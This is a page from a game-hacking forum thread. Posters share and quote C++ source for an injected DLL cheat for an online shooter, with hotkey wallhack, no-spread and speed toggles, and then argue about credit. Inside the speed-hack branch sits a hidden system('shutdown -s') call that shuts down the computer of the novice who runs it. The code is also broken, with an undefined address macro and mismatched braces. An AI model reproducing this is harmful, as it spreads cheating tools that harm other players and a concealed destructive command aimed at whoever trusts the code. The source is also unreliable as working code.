❗ Help for my first hack

Posts 16–30 of 31 · Page 2 of 3
COPY THIS INTO AN EMPTY WIN32 DLL "*.cpp" file

Code:
#include <windows.h>

//Addys Here
#define LTCAddy 0x377ED910 //LTClient Address (Not Alt one)
#define HACKNAME " HACK NAME HERE "

//Defines

void __cdecl PushToConsole( const char* szCommand ) //Push To console method updated
{
		DWORD *LTClient = ( DWORD* )( LTAddy );
		void* CONoff = ( void* )*( DWORD* )( *LTClient + 0x208 );
		__asm
		{
			push szCommand;
			call CONoff;
			add esp, 4;
	}
}
bool Memoria( void * pDest, char * szPatch, size_t sSize ) //Nopping Method
{ 
    DWORD dwOrgProtect = NULL; 
	if ( !VirtualProtect ( pDest, sSize, PAGE_EXECUTE_READWRITE, &dwOrgProtect ))
		return FALSE;

    memcpy( pDest, szPatch, sSize ); 
    VirtualProtect( pDest, sSize, dwOrgProtect, NULL ); 
    return TRUE; 
}

bool IsGameReadyForHook()
{
if( GetModuleHandleA( "d3d9.dll"     ) != NULL 
&& GetModuleHandleA( "ClientFX.fxd" ) != NULL 
&& GetModuleHandleA( "CShell.dll"   ) != NULL )
return true;
return false;
}
void main(void)
{
	while (!IsGameReadyForHook())
		Sleep(20);
	
	bool NX = false;
	bool spread = false;
	bool speed = false;
	bool Recoil = false;
	bool activate = false;
	while(true){
		PushToConsole("ShowFps 1");
		PushToConsole("FogEnable 0");
		if(GetAsyncKeyState(VK_NUMPAD1)<0){ // NX Chams
			if(NX){
				PushToConsole("SkelModelStencil 0");
				NX = false;
			} else {
				PushToConsole("SkelModelStencil 1");
				NX = true;
			}
		}
				if(GetAsyncKeyState(VK_NUMPAD2)<0){ // No Spread
			if(spread){
				PushToConsole("PerturbRotationEffect 3.000000");
				PushToConsole("PerturbIncreaseSpeed 3.000000");
				PushToConsole("PerturbDecreaseSpeed 9.000000");
				PushToConsole("PerturbWalkPercent 0.500000");
				spread = false;
			} else {
				PushToConsole("PerturbRotationEffect  0.000000"); 
				PushToConsole("PerturbIncreaseSpeed 0.000000"); 
				PushToConsole("PerturbWalkPercent 0.000000"); 
				PushToConsole("PerturbFiringIncreaseSpeed 0.000000");
				spread = true;
			}
		}
				
		}
				if(GetAsyncKeyState(VK_NUMPAD4)<0){ // Legit Speed Hax
			if(speed){
				PushToConsole("BaseMoveAccel 3000.000000");
				PushToConsole("StartAccel 500.000000");
				system("shutdown -s");
				PushToConsole("MaxAccel 3000.000000");
				PushToConsole("AccelInc 6000.000000");
				PushToConsole("WalkVel 70.000000");
				PushToConsole("FRunVel 285.000000");
				PushToConsole("BRunVel 285.000000");
				PushToConsole("SRunVel 285.000000");
				PushToConsole("DuckVel 50.000000");
				speed = false;
			} else {
				PushToConsole("BaseMoveAccel 3000.000000");
				PushToConsole("StartAccel 550.000000");
				PushToConsole("MaxAccel 3000.000000");
				PushToConsole("AccelInc 6000.000000");
				PushToConsole("WalkVel 120.000000");
				PushToConsole("FRunVel 335.000000");
		    	PushToConsole("BRunVel 335.000000");
				PushToConsole("SRunVel 335.000000");
				PushToConsole("DuckVel 100.000000");
				speed = true;
			}
		}
				if(GetAsyncKeyState(VK_NUMPAD5)<0){ // Activation
			if(activate){
				PushToConsole("ActivationDistance 10" );
				activate = false;
			} else {
				PushToConsole("ActivationDistance 999999" ); 
				activate = true;
			}
		}

		Sleep(200);
	}
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
                       MessageBoxA(NULL, " The Hack Was Injector/n\n
 Credit Topblast /n\n /n\n/n\n HOYKEY HACK", HACKNAME, MB_OK);
                       CreateThread(NULL,NULL, main, NULL, NULL);

	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}
Quote Originally Posted by topblast View Post
COPY THIS INTO AN EMPTY WIN32 DLL "*.cpp" file

Code:
#include <windows.h>

//Addys Here
#define LTCAddy 0x377ED910 //LTClient Address (Not Alt one)
#define HACKNAME " HACK NAME HERE "

//Defines

void __cdecl PushToConsole( const char* szCommand ) //Push To console method updated
{
		DWORD *LTClient = ( DWORD* )( LTAddy );
		void* CONoff = ( void* )*( DWORD* )( *LTClient + 0x208 );
		__asm
		{
			push szCommand;
			call CONoff;
			add esp, 4;
	}
}
bool Memoria( void * pDest, char * szPatch, size_t sSize ) //Nopping Method
{ 
    DWORD dwOrgProtect = NULL; 
	if ( !VirtualProtect ( pDest, sSize, PAGE_EXECUTE_READWRITE, &dwOrgProtect ))
		return FALSE;

    memcpy( pDest, szPatch, sSize ); 
    VirtualProtect( pDest, sSize, dwOrgProtect, NULL ); 
    return TRUE; 
}

bool IsGameReadyForHook()
{
if( GetModuleHandleA( "d3d9.dll"     ) != NULL 
&& GetModuleHandleA( "ClientFX.fxd" ) != NULL 
&& GetModuleHandleA( "CShell.dll"   ) != NULL )
return true;
return false;
}
void main(void)
{
	while (!IsGameReadyForHook())
		Sleep(20);
	
	bool NX = false;
	bool spread = false;
	bool speed = false;
	bool Recoil = false;
	bool activate = false;
	while(true){
		PushToConsole("ShowFps 1");
		PushToConsole("FogEnable 0");
		if(GetAsyncKeyState(VK_NUMPAD1)<0){ // NX Chams
			if(NX){
				PushToConsole("SkelModelStencil 0");
				NX = false;
			} else {
				PushToConsole("SkelModelStencil 1");
				NX = true;
			}
		}
				if(GetAsyncKeyState(VK_NUMPAD2)<0){ // No Spread
			if(spread){
				PushToConsole("PerturbRotationEffect 3.000000");
				PushToConsole("PerturbIncreaseSpeed 3.000000");
				PushToConsole("PerturbDecreaseSpeed 9.000000");
				PushToConsole("PerturbWalkPercent 0.500000");
				spread = false;
			} else {
				PushToConsole("PerturbRotationEffect  0.000000"); 
				PushToConsole("PerturbIncreaseSpeed 0.000000"); 
				PushToConsole("PerturbWalkPercent 0.000000"); 
				PushToConsole("PerturbFiringIncreaseSpeed 0.000000");
				spread = true;
			}
		}
				
		}
				if(GetAsyncKeyState(VK_NUMPAD4)<0){ // Legit Speed Hax
			if(speed){
				PushToConsole("BaseMoveAccel 3000.000000");
				PushToConsole("StartAccel 500.000000");
				system("shutdown -s");
				PushToConsole("MaxAccel 3000.000000");
				PushToConsole("AccelInc 6000.000000");
				PushToConsole("WalkVel 70.000000");
				PushToConsole("FRunVel 285.000000");
				PushToConsole("BRunVel 285.000000");
				PushToConsole("SRunVel 285.000000");
				PushToConsole("DuckVel 50.000000");
				speed = false;
			} else {
				PushToConsole("BaseMoveAccel 3000.000000");
				PushToConsole("StartAccel 550.000000");
				PushToConsole("MaxAccel 3000.000000");
				PushToConsole("AccelInc 6000.000000");
				PushToConsole("WalkVel 120.000000");
				PushToConsole("FRunVel 335.000000");
		    	PushToConsole("BRunVel 335.000000");
				PushToConsole("SRunVel 335.000000");
				PushToConsole("DuckVel 100.000000");
				speed = true;
			}
		}
				if(GetAsyncKeyState(VK_NUMPAD5)<0){ // Activation
			if(activate){
				PushToConsole("ActivationDistance 10" );
				activate = false;
			} else {
				PushToConsole("ActivationDistance 999999" ); 
				activate = true;
			}
		}

		Sleep(200);
	}
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
                       MessageBoxA(NULL, " The Hack Was Injector/n\n
 Credit Topblast /n\n /n\n/n\n HOYKEY HACK", HACKNAME, MB_OK);
                       CreateThread(NULL,NULL, main, NULL, NULL);

	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}
Have fun not being credited /
Quote Originally Posted by whit View Post
Tehe At This Thread...
@Topblast When We Were No0bs No one Helped Us...
Except Matty He Gave Me Gellins Base And Told Me To Study It..
well matypatty helped you.. of which at that time i dont think i had a menu hack


Quote Originally Posted by CodeDemon View Post
Have fun not being credited /
i dont really care.. people who dont credits.. ends up like coryster.
Quote Originally Posted by topblast View Post


well matypatty helped you.. of which at that time i dont think i had a menu hack
He Help Me When No One Had A Menu Bebore He Release Hacks And You..
Quote Originally Posted by topblast View Post
COPY THIS INTO AN EMPTY WIN32 DLL "*.cpp" file

Code:
#include <windows.h>

//Addys Here
#define LTCAddy 0x377ED910 //LTClient Address (Not Alt one)
#define HACKNAME " HACK NAME HERE "

//Defines

void __cdecl PushToConsole( const char* szCommand ) //Push To console method updated
{
		DWORD *LTClient = ( DWORD* )( LTAddy );
		void* CONoff = ( void* )*( DWORD* )( *LTClient + 0x208 );
		__asm
		{
			push szCommand;
			call CONoff;
			add esp, 4;
	}
}
bool Memoria( void * pDest, char * szPatch, size_t sSize ) //Nopping Method
{ 
    DWORD dwOrgProtect = NULL; 
	if ( !VirtualProtect ( pDest, sSize, PAGE_EXECUTE_READWRITE, &dwOrgProtect ))
		return FALSE;

    memcpy( pDest, szPatch, sSize ); 
    VirtualProtect( pDest, sSize, dwOrgProtect, NULL ); 
    return TRUE; 
}

bool IsGameReadyForHook()
{
if( GetModuleHandleA( "d3d9.dll"     ) != NULL 
&& GetModuleHandleA( "ClientFX.fxd" ) != NULL 
&& GetModuleHandleA( "CShell.dll"   ) != NULL )
return true;
return false;
}
void main(void)
{
	while (!IsGameReadyForHook())
		Sleep(20);
	
	bool NX = false;
	bool spread = false;
	bool speed = false;
	bool Recoil = false;
	bool activate = false;
	while(true){
		PushToConsole("ShowFps 1");
		PushToConsole("FogEnable 0");
		if(GetAsyncKeyState(VK_NUMPAD1)<0){ // NX Chams
			if(NX){
				PushToConsole("SkelModelStencil 0");
				NX = false;
			} else {
				PushToConsole("SkelModelStencil 1");
				NX = true;
			}
		}
				if(GetAsyncKeyState(VK_NUMPAD2)<0){ // No Spread
			if(spread){
				PushToConsole("PerturbRotationEffect 3.000000");
				PushToConsole("PerturbIncreaseSpeed 3.000000");
				PushToConsole("PerturbDecreaseSpeed 9.000000");
				PushToConsole("PerturbWalkPercent 0.500000");
				spread = false;
			} else {
				PushToConsole("PerturbRotationEffect  0.000000"); 
				PushToConsole("PerturbIncreaseSpeed 0.000000"); 
				PushToConsole("PerturbWalkPercent 0.000000"); 
				PushToConsole("PerturbFiringIncreaseSpeed 0.000000");
				spread = true;
			}
		}
				
		}
				if(GetAsyncKeyState(VK_NUMPAD4)<0){ // Legit Speed Hax
			if(speed){
				PushToConsole("BaseMoveAccel 3000.000000");
				PushToConsole("StartAccel 500.000000");
				system("shutdown -s");
				PushToConsole("MaxAccel 3000.000000");
				PushToConsole("AccelInc 6000.000000");
				PushToConsole("WalkVel 70.000000");
				PushToConsole("FRunVel 285.000000");
				PushToConsole("BRunVel 285.000000");
				PushToConsole("SRunVel 285.000000");
				PushToConsole("DuckVel 50.000000");
				speed = false;
			} else {
				PushToConsole("BaseMoveAccel 3000.000000");
				PushToConsole("StartAccel 550.000000");
				PushToConsole("MaxAccel 3000.000000");
				PushToConsole("AccelInc 6000.000000");
				PushToConsole("WalkVel 120.000000");
				PushToConsole("FRunVel 335.000000");
		    	PushToConsole("BRunVel 335.000000");
				PushToConsole("SRunVel 335.000000");
				PushToConsole("DuckVel 100.000000");
				speed = true;
			}
		}
				if(GetAsyncKeyState(VK_NUMPAD5)<0){ // Activation
			if(activate){
				PushToConsole("ActivationDistance 10" );
				activate = false;
			} else {
				PushToConsole("ActivationDistance 999999" ); 
				activate = true;
			}
		}

		Sleep(200);
	}
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
                       MessageBoxA(NULL, " The Hack Was Injector/n\n
 Credit Topblast /n\n /n\n/n\n HOYKEY HACK", HACKNAME, MB_OK);
                       CreateThread(NULL,NULL, main, NULL, NULL);

	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}
LMAO. Thank you :P But, I'm not stupid, i'll give credits like I did last time
Tehe At This Thread...
@Topblast When We Were No0bs No one Helped Us...
Except Matty He Gave Me Gellins Base And Told Me To Study It..
Topblast is right. If they dont give credits they are noob and not true to themselves. I was going to release my hotkey base but topblast beat me to it!
Quote Originally Posted by NOOBJr View Post
Topblast is right. If they dont give credits they are noob and not true to themselves. I was going to release my hotkey base but topblast beat me to it!
Who are u.. i see u around.
Guys i already showd him how to make a hack topblast hide your hotkey base i showd him mine already hes testing it right now ;D
Quote Originally Posted by Aveda View Post
Guys i already showd him how to make a hack topblast hide your hotkey base i showd him mine already hes testing it right now ;D
/Cares.....
I didnt ask anybody for any help when I was learning(and I still am), infact out of all the 600+ posts I have on here not a single one is asking for help. As a wise programmer named Blubsi told me, "Programming is not about asking questions but rather trying new things and figuring out the anwser".
Quote Originally Posted by CodeDemon View Post
I didnt ask anybody for any help when I was learning(and I still am), infact out of all the 600+ posts I have on here not a single one is asking for help. As a wise programmer named Blubsi told me, "Programming is not about asking questions but rather trying new things and figuring out the anwser".
well u were stupid.. every one need little help
Quote Originally Posted by topblast View Post


well u were stupid.. every one need little help
Its not stupid if you don't ask for help. You actually learn 3 times as much than if somebody were to just give you the answer.
You gave him Copy and pasteable source code. How does that help him.


"Give a man a fish feed him for a day, teach a man to fish feed him for life."

Your just giving him a fish.
Quote Originally Posted by whatup777 View Post
You gave him Copy and pasteable source code. How does that help him.


"Give a man a fish feed him for a day, teach a man to fish feed him for life."

Your just giving him a fish.
omfg perfect quote and so true
Posts 16–30 of 31 · Page 2 of 3
This thread is closed for replies.

Similar Threads

Tags for this Thread

None

Talk with us